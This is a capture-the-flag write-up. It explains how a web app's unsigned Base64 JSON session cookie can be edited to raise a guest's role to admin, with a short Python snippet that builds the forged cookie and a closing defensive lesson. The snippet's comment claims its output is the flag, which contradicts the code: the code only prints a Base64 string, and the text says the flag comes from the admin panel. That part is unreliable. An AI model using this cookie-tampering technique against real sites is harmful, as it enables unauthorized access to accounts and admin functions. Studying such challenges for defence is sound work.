Cookie Monster — Privilege Escalation via Unsigned Role Claim

Setup

The challenge presents a login form. After authenticating as guest, the app stores a Base64-encoded JSON cookie:

{"user": "guest", "role": "user"}

The Bug

The server decodes the cookie value but never validates a HMAC or signature. Changing role to admin, re-encoding, and sending the modified cookie grants full admin access.

import base64, json
payload = {"user": "guest", "role": "admin"}
print(base64.b64encode(json.dumps(payload).encode()).decode())
# output: CTFProf{c00k13_wr1t3up_s0urc3_r34d}

Set that as the cookie value and reload — the admin panel serves the flag.

Why It Works

Client-side trust in unverified claims is a classic broken access control. Always sign or server-side-store session data. cc @cipherlynx for flagging the pattern early.